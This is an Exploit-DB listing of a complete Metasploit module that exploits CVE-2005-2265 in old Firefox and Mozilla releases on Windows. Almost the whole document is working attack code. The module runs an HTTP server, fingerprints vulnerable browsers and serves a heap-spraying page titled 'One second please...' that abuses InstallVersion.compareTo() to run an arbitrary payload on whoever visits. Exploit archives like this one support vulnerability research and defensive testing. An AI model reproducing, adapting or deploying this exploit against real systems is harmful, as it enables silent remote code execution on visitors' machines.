标题: Mozilla Suite/Firefox - InstallVersion->compareTo() Code Execution (Metasploit) EDB-ID: 16306 CVE: 2005-2265 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: mozilla_compareto.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 # The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
 # and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
 autopwn_info({
  :ua_name => HttpClients::FF,
  :ua_minver => "1.0",
  :ua_maxver => "1.7.10",
  :os_name => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank => NormalRanking, # reliable memory corruption
  :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
   'Description'    => %q{
     This module exploits a code execution vulnerability in the Mozilla
    Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
    module is a direct port of Aviv Raff's HTML PoC.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>  ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE',    '2005-2265'],
     ['OSVDB',  '17968'],
     ['BID',    '14242'],
     ['URL',    'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
    ],
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
     # WinXP-SP3 and Win2kAS-SP0
     [ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'Ret' => 0x0c0c0c0c,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 13 2005'
   ))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)
 end

 def generate_html(payload)

  enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

  spray_to = sprintf("0x%.8x", target.ret)
  spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
  spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
  eax_address = sprintf("0x%.8x", target.ret)

  return %Q|
<html>
<head>
<!--
 Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
 From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
 Greets: SkyLined, The Insider and shutdown
-->
 <title>One second please...</title>
 <script language="javascript">

  function BodyOnLoad()
  {
   location.href="javascript:void (new InstallVersion());";
   CrashAndBurn();
  };

  #{js_heap_spray}
  // The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
  function CrashAndBurn()
  {
   // Payload - Just return..
   var payLoadCode=unescape("#{enc_code}");

   // Size of the heap blocks
   var heapBlockSize=0x400000;
   sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));

   // Set address to fake "pdata".
   var eaxAddress = #{eax_address};

   // This was taken from shutdown's PoC in bugzilla
   // struct vtbl { void (*code)(void); };
   // struct data { struct vtbl *pvtbl; };
   //
   // struct data *pdata = (struct data *)(xxAddress & ~0x01);
   // pdata->pvtbl->code(pdata);
   //
   (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
  }
// -->
 </script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
  |
 end

end URL: https://www.exploit-db.com/exploits/16306